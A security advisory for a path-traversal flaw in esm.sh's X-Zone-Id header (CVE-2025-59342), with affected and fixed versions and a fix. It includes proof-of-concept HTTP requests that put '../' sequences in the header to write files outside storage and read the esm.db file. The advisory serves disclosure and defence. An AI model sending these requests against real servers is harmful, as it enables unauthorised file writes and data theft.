Advisory

GHSA-g2h5-cvvr-7gmw

Also known as: CVE-2025-59342, GO-2025-3967

Summary

esm.sh has arbitrary file write via path traversal in X-Zone-Id header

Details

Summary

A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).

Severity: Medium

Component / Endpoint:

POST /transform — handling of X-Zone-Id header

The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411

Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.

---

Proof of Concept (POC)

Request (attacker-supplied X-Zone-Id contains path traversal):

POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325

{
  "filename": "example2.js",
  "lang": "js",
  "code": "console.log('hello');",
  "importMap": {
    "imports": {
      "react": "https://esm.sh/react",
      "react-dom": "https://esm.sh/react-dom"
    }
  },
  "jsxImportSource": "react",
  "target": "es2022",
  "sourceMap": "external",
  "minify": true
}

<img width="2496" height="1214" alt="Screenshot 2025-09-16 at 21 40 57" src="https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db" />

Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.

This can be trigger with another path traversal request below

GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/

<img width="2516" height="710" alt="Screenshot 2025-09-16 at 21 37 07" src="https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685" />

---

Remediation

Simply remove any .. in the X-Zone-Id header before actually process the file.

Credits

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2025-09-17 19:03 UTC
Modified
2026-09-10 03:50 UTC

Affected packages and fixes

github.com/esm-dev/esm.sh

Go · All systems

Affected

  • introduced 0, fixed 136.1 (ecosystem)

Fixed versions

136.1

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences